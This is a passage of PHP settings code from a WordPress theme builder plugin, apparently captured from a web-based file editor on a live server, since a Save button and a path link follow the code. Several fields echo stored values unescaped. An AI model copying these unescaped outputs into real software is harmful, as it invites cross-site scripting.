				if( empty( $wp_roles-&gt;roles[$role]['capabilities']['edit_posts'] ) ){
					unset( $roles[$role] );
				}
			}

			echo '&lt;ul&gt;';

			foreach( $roles as $role =&gt; $slug ) :
				$option_name = $this-&gt;option_name . '[' . $prefix . $role . ']';
				$this-&gt;option_value = get_option( $this-&gt;option_name );
				$value = isset( $this-&gt;option_value[ $prefix . $role ] )
					? $this-&gt;option_value[ $prefix . $role ] : 'default'; ?&gt;

                &lt;li class=&quot;role-access-controller&quot;&gt;
                    &lt;div class=&quot;role-title&quot;&gt;&lt;?php echo esc_attr( $slug ); ?&gt;&lt;/div&gt;

					&lt;?php foreach( $role_options as $key =&gt; $label ) : ?&gt;
                        &lt;div class=&quot;role-option role-&lt;?php echo $key; ?&gt;&quot;&gt;
							&lt;?php printf( '&lt;input type=&quot;radio&quot; id=&quot;%1$s-%2$s&quot; name=&quot;%2$s&quot; value=&quot;%1$s&quot; %3$s&gt;', $key, esc_attr( $option_name ), checked( $value, $key, false ) ); ?&gt;
							&lt;?php printf( '&lt;label for=&quot;%s-%s&quot;&gt;%s&lt;/label&gt;', $key, esc_attr( $option_name ), $label ); ?&gt;
                        &lt;/div&gt;
					&lt;?php endforeach; ?&gt;
                &lt;/li&gt;
			&lt;?php endforeach;
			echo '&lt;/ul&gt;';
		}

		function image_quality_field() {
			$name = $this-&gt;current_tab.'-img_settings_quality';
			$field_name = $this-&gt;option_name . '['.$name.']';
			$value = isset($this-&gt;option_value[$name]) ? $this-&gt;option_value[$name] : '';
			echo '&lt;input type=&quot;text&quot; name=&quot;'.$field_name.'&quot; value=&quot;'.$value.'&quot; class=&quot;img_field&quot;&gt;','&amp;nbsp; &lt;small&gt;'. __('max 100 (higher = better quality, but bigger file size)', 'themify') ,'&lt;/small&gt;';
		}

		function image_crop_align_field() {
			$options = array(
				array('value' =&gt; 'c', 'name' =&gt; __('Center', 'themify')),
				array('value' =&gt; 't', 'name' =&gt; __('Top', 'themify')),
				array('value' =&gt; 'tr',	'name' =&gt; __('Top Right', 'themify')),
				array('value' =&gt; 'tl',	'name' =&gt; __('Top Left', 'themify')),
				array('value' =&gt; 'b',	'name' =&gt; __('Bottom', 'themify')),
				array('value' =&gt; 'br',	'name' =&gt; __('Bottom Right', 'themify')),
				array('value' =&gt; 'bl',	'name' =&gt; __('Bottom Left', 'themify')),
				array('value' =&gt; 'l',	'name' =&gt; __('Left', 'themify')),
				array('value' =&gt; 'r',	'name' =&gt; __('Right', 'themify'))
			);
			$name = $this-&gt;current_tab .'-img_settings_crop_option';
			$field_name = $this-&gt;option_name . '['.$name.']';
			echo '&lt;select name=&quot;'.$field_name.'&quot; class=&quot;img_field&quot;&gt;&lt;option&gt;&lt;/option&gt;';
			foreach($options as $option){
				$selected = isset( $this-&gt;option_value[$name] ) ? $this-&gt;option_value[$name] : '';
				echo '&lt;option value=&quot;' . $option['value']  . '&quot; '.selected( $selected, $option['value']).'&gt;' . esc_html( $option['name'] ) . '&lt;/option&gt;';
			}
			echo '&lt;/select&gt;';
		}

		function image_vertical_crop_field() {
			$options_vertical = array(
				array('name'=&gt; '','value' =&gt; ''),
				array('name'=&gt; __('Yes', 'themify'), 'value' =&gt; 'yes'),
				array('name'=&gt; __('No', 'themify'),	 'value' =&gt; 'no')
			);
			$name = $this-&gt;current_tab .'-img_settings_vertical_crop_option';
			$field_name = $this-&gt;option_name . '['.$name.']';
			$selected = isset( $this-&gt;option_value[$name] ) ? $this-&gt;option_value[$name] : '';
			echo '&lt;select name=&quot;' . $field_name . '&quot; class=&quot;img_field&quot;&gt;';
			foreach($options_vertical as $option_vertical){
				echo '&lt;option value=&quot;' . esc_attr( $option_vertical['value'] ) . '&quot;'.selected( $selected, $option_vertical['value'] ).'&gt;' . esc_html( $option_vertical['name'] ) . '&lt;/option&gt;';
			}
			echo '&lt;/select&gt;&amp;nbsp; &lt;small&gt;' . __('(Select \'no\' to disable vertical cropping globally)', 'themify') , '&lt;/small&gt;';
		}

		function custom_css_field(){
			$name = $this-&gt;current_tab . '-custom_css';
			$field_name = $this-&gt;option_name . '['.$name.']';
			$out = '&lt;textarea name=&quot;'.$field_name.'&quot; style=&quot;width:100%;height:600px;&quot;&gt;';
			$out.=isset( $this-&gt;option_value[$name] ) ? $this-&gt;option_value[$name] : '';
			$out.='&lt;/textarea&gt;';
			echo $out;
		}

		function google_map_api_key_field(){
			$pre = $this-&gt;current_tab . '_';
			$out='&lt;div&gt;';
			$google_map_key =  isset( $this-&gt;option_value[$pre.'google_map_key'] )?$this-&gt;option_value[$pre.'google_map_key']:'';
			$out.=sprintf('&lt;input type=&quot;text&quot; style=&quot;min-width:300px;&quot; value=&quot;%s&quot; name=&quot;%s&quot; /&gt;',
				$google_map_key,
				esc_attr( $this-&gt;option_name . '[' . $pre . 'google_map_key' . ']' )
			);
			$out.='&lt;br/&gt;&lt;p class=&quot;description&quot;&gt;';
			$out.= __('Google API key is required to use Builder Map module.','themify').' &lt;a href=&quot;//developers.google.com/maps/documentation/javascript/get-api-key#key&quot; target=&quot;_blank&quot;&gt;'.__( 'Generate Api key', 'themify' ).'&lt;/a&gt;';
			$out.='&lt;/p&gt;&lt;/div&gt;';
			echo $out;

		}

		function bing_map_api_key_field(){
			$pre = $this-&gt;current_tab . '_';
			$bing_map_key =  isset( $this-&gt;option_value[$pre.'bing_map_key'] )?$this-&gt;option_value[$pre.'bing_map_key']:'';
			$out = '&lt;div&gt;';
			$out.= sprintf('&lt;input type=&quot;text&quot; style=&quot;min-width:300px;&quot; value=&quot;%s&quot; name=&quot;%s&quot; /&gt;',
				$bing_map_key,
				esc_attr( $this-&gt;option_name . '[' . $pre . 'bing_map_key' . ']' )
			);
			$out .= '&lt;br/&gt;&lt;p class=&quot;description&quot;&gt;&lt;span class=&quot;pushlabel&quot;&gt;'.__('To use Bing Maps,','themify').' &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/ff428642.aspx&quot; target=&quot;_blank&quot;&gt;' . __( 'Generate an API key', 'themify' ) . '&lt;/a&gt; and insert it here.&lt;/span&gt;&lt;/p&gt;';
			echo $out;
		}

		function optin_field() {
			$pre = 'setting-';
			if ( isset( $_GET['tb_option_flush_cache'] ) ) {
				$services = Builder_Optin_Services_Container::get_instance()-&gt;get_providers();
				foreach ( $services as $id =&gt; $instance ) {
					$instance-&gt;clear_cache();
				}
			}

			$providers = Builder_Optin_Services_Container::get_instance()-&gt;get_providers();
			foreach ( $providers as $id =&gt; $instance ) {
				if ( $options = $instance-&gt;get_global_options() ) {
					?&gt;
                    &lt;br&gt;&lt;hr&gt;
                    &lt;fieldset id=&quot;themify_setting_&lt;?php echo $id; ?&gt;&quot;&gt;
                        &lt;legend&gt;
                            &lt;strong&gt;&lt;?php echo $instance-&gt;get_label(); ?&gt;&lt;/strong&gt;
                        &lt;/legend&gt;
                        &lt;div class=&quot;themify_panel_fieldset_wrap&quot; style=&quot;display: block !important;&quot;&gt;
							&lt;?php foreach ( $options as $field ) : ?&gt;
                                &lt;p&gt;
                                &lt;label class=&quot;label&quot; for=&quot;setting-&lt;?php echo $field['id']; ?&gt;&quot;&gt;&lt;?php echo $field['label'] ?&gt;&lt;/label&gt;
                                &lt;br/&gt;
                                &lt;input type=&quot;text&quot; name=&quot;&lt;?php echo $this-&gt;option_name . '[' . $pre . $field['id'] . ']'; ?&gt;&quot; id=&quot;setting-&lt;?php echo $field['id']; ?&gt;&quot; value=&quot;&lt;?php echo esc_attr( isset( $this-&gt;option_value[ $pre . $field['id'] ] ) ? $this-&gt;option_value[ $pre . $field['id'] ] : '' ); ?&gt;&quot; class=&quot;width8&quot;&gt;
								&lt;?php if ( isset( $field['description'] ) ) : ?&gt;
                                    &lt;p class=&quot;description&quot;&gt;&lt;?php echo $field['description'] ?&gt;&lt;/small&gt;
								&lt;?php endif; ?&gt;
                                &lt;/p&gt;
							&lt;?php endforeach; ?&gt;
                        &lt;/div&gt;&lt;!-- .themify_panel_fieldset_wrap --&gt;
                    &lt;/fieldset&gt;
				&lt;?php } ?&gt;
			&lt;?php } ?&gt;

            &lt;br&gt;&lt;hr&gt;
            &lt;p&gt;
                &lt;a href=&quot;&lt;?php echo add_query_arg( 'tb_option_flush_cache', 1 ); ?&gt;&quot; class=&quot;button button-secondary tb_option_flush_cache&quot;&gt;&lt;span&gt;&lt;?php _e( 'Clear Cache', 'themify' ); ?&gt;&lt;/span&gt; &lt;/a&gt;
            &lt;/p&gt;

			&lt;?php
		}

		function regenerate_css_field(){
			$output ='&lt;div&gt;';
			$output .= '&lt;input id=&quot;builder-regenerate-css-files&quot; type=&quot;button&quot; value=&quot;'.__('Regenerate CSS Files','themify').'&quot; class=&quot;button big-button&quot;/&gt;';
			$output .='&lt;br/&gt;&lt;br/&gt;&lt;p class=&quot;description&quot;&gt;';
			$output .= __('Builder styling are output to the generated CSS files stored in \'wp-content/uploads\' folder. Regenerate files will update all data in the generated files (eg. correct background image paths, etc.).','themify');
			$output .='&lt;/p&gt;&lt;/div&gt;';
			echo $output;
		}

		function find_and_replace_field(){
			$in_progress = (true === get_transient( 'themify_find_and_replace_in_progress' )) ? true : false;
			$disabled = $in_progress ? 'disabled=&quot;disabled&quot;' : '';
			$value = $in_progress ? __('Replacing ...','themify') : __('Replace','themify');
			$output = '&lt;br/&gt;&lt;div&gt;';
			$output .= '&lt;label&gt;'.__('Search for','themify').'   &lt;/label&gt;&lt;input type=&quot;url&quot; style=&quot;min-width:500px;&quot; value=&quot;&quot; id=&quot;original_string&quot; /&gt;';
			$output .='&lt;br/&gt;';
			$output .= '&lt;label&gt;'.__('Replace to','themify').'   &lt;/label&gt;&lt;input type=&quot;url&quot; style=&quot;min-width:500px;&quot; value=&quot;&quot; id=&quot;replace_string&quot; /&gt;';
			$output .='&lt;br/&gt;&lt;br/&gt;';
			$output .= '&lt;input id=&quot;builder-find-and-replace-btn&quot; type=&quot;button&quot; name=&quot;builder-find-and-replace-btn&quot; '.$disabled.' value=&quot;'.$value.'&quot; class=&quot;button big-button&quot;/&gt;';
			$output .='&lt;br/&gt;&lt;br/&gt;&lt;p class=&quot;description&quot;&gt;';
			$output .= __('Use this tool to find and replace the strings in the Builder data. Warning: Please backup your database before replacing strings, this can not be undone.','themify');
			$output .='&lt;/p&gt;&lt;/div&gt;';
			echo $output;
		}

		function builder_upgrade(){

		}

		function queue_top_pages( $pages ) {
			$pages[] =  'toplevel_page_themify-builder' ;
			return $pages;
		}

		function queue_pagenow( $pagenows ) {
			$pagenows[] =  'themify-builder' ;
			return $pagenows;
		}

		function load_enqueue_scripts( $page ) {
			if ( 'toplevel_page_themify-builder' === $page ) {
				wp_enqueue_script( 'jquery-ui-slider' );
				wp_enqueue_script( 'jquery-ui-sortable' );
				wp_enqueue_script( 'themify-builder-plugin-upgrade', themify_enque(THEMIFY_BUILDER_URI . '/js/themify.builder.upgrader.js'), array('jquery'), THEMIFY_VERSION, true );

				add_action( 'admin_head', array( $this, 'custom_admin_css' ) );
			}
		}

		/**
		 * Add custom inline css in plugin settting page.
		 *
		 * @access public
		 */
		public function custom_admin_css() {
			echo '&lt;style type=&quot;text/css&quot; rel=&quot;stylesheet&quot;&gt;
			.width8 { width: 300px; }
			.width4 { width: 80px; }
			.width10 { width: 68%; }
			@media only screen and (max-width: 820px) {
                            .width4,.width8 {
                                max-width: 100%;
                            }
			}
			&lt;/style&gt;';
		}

		/**
		 * Add maintenance in plugin setting page.
		 *
		 * @access public
		 */
		function builder_maintenance_field() {
			$pre = $this-&gt;current_tab . '_maintenance_';
			$output = sprintf('&lt;p&gt;&lt;label for=&quot;%s&quot; class=&quot;label&quot;&gt;&lt;input type=&quot;checkbox&quot; id=&quot;%s&quot; name=&quot;%s&quot;%s value=&quot;1&quot;&gt;%s&lt;/label&gt;&lt;/p&gt;&lt;p class=&quot;description&quot;&gt;%s&lt;/p&gt;',
				$pre . 'mode' ,
				$pre . 'mode' ,
				$this-&gt;option_name . '[' .$pre . 'mode]' ,
				checked( true, isset($this-&gt;option_value[$pre.'mode']), false ) ? ' checked=&quot;checked&quot;' : '',
				__( 'Enable Maintenance Mode', 'themify' ),
				__( 'Once it is enabled, only logged-in useres can see your site.', 'themify' )
			);
			$selected_value = !empty($this-&gt;option_value[$pre.'page']) ? $this-&gt;option_value[$pre.'page'] : '';
			$selected_page = empty($selected_value) ? '' : get_page_by_path( $selected_value, OBJECT, 'page' );
			$output .= sprintf('&lt;br/&gt;&lt;div class=&quot;tb_maintenance_page&quot;&gt;&lt;select id=&quot;%s&quot; name=&quot;%s&quot;&gt;%s&lt;option&gt;%s&lt;/option&gt;&lt;/select&gt;&lt;p class=&quot;description&quot;&gt;%s&lt;/p&gt;&lt;/div&gt;',
				$pre . 'page' ,
				$this-&gt;option_name . '[' .$pre . 'page]' ,
				empty($selected_value) ? '&lt;option&gt;&lt;/option&gt;' : sprintf('&lt;option value=&quot;%s&quot; selected=&quot;selected&quot;&gt;%s&lt;/option&gt;',$selected_value,$selected_page-&gt;post_title),
				__( 'Loading...', 'themify' ),
				__( 'Select a page to show for public users', 'themify' )
			);

			echo $output;
		}

	}
}
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fhome%2Fmycooffi%2Fpublic_html%2Fwp-content%2Fthemes%2Fthemify-ultra%2Fthemify%2Fthemify-builder%2Fclasses'>🔙 Back</a></p>